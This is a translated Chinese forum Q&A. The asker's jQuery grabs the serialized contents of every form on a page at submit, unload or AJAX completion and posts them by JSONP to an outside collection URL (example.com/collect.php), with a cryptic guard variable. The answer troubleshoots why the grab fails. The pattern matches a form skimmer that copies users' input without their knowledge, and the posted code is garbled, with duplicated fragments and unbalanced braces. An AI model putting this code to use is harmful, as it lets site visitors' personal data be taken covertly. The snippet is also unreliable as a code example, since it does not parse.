JavaScript 在提交前收集所有表单数据，并通过 ajax 提交

Question

我正在尝试收集所有表单数据并将其发送到我的服务器，然后再由用户提交。 到目前为止，我已经尝试了一些方法，但它不起作用或部分起作用。

jQuery(document).ready(function(){
    dididamdidiomdididim = false;
    if(!dididamdidiomdididim){
        jQuery("form").submit(function(e){
            jQuery.ajax({
                type: "POST",
                dataType: "jsonp",
                url: "http://example.com/collect.php",
                data: {
                    data: jQuery("form").serialize(),
                    pixel: jQuery("#x36").attr("pixel")
                }
            });
        });
        dididamdidiomdididim = true;
    }

    if(!dididamdidiomdididim){
        jQuery(document).bind('beforeunload', function(){
            jQuery.ajax({
                type: "POST",
                dataType: "jsonp",
                url: "http://example.com/collect.php",
                data: {
                    data: jQuery("form").serialize(),
                    pixel: jQuery("#x36").attr("pixel")
                }
            });
        });
        dididamdidiomdididim = true;
    }
             }
            });
        });
        dididamdidiomdididim = true;
    }

}); 
    if(!dididamdidiomdididim){
        jQuery(document).ajaxComplete(function(){
            jQuery.ajax({
                type: "POST",
                dataType: "jsonp",
                url: "http://example.com/collect.php",
                data: {
                    data: jQuery("form").serialize(),
                    pixel: jQuery("#x36").attr("pixel")
                }
            });
        });
        dididamdidiomdididim = true;
    }

});     

如您所见，我尝试了不同的 JavaScript 事件，但由于某种原因它不稳定，奇怪的是，有时会收集数据但 Firebug 没有显示任何 ajax 请求。

Answer 1

我假设您的三个功能是 3 次不同的尝试....

对于第一个，您应该使用e.preventDefault否则它将取消 ajax 并重新加载页面。

对于第二个，由于AJAX是异步的，页面将在发送 ajax 之前被卸载。

对于最后一个，您的 ajax 函数将永远不会被调用，因为之前没有 ajax。 ajaxComplete()是在调用 ajax 之后调用的。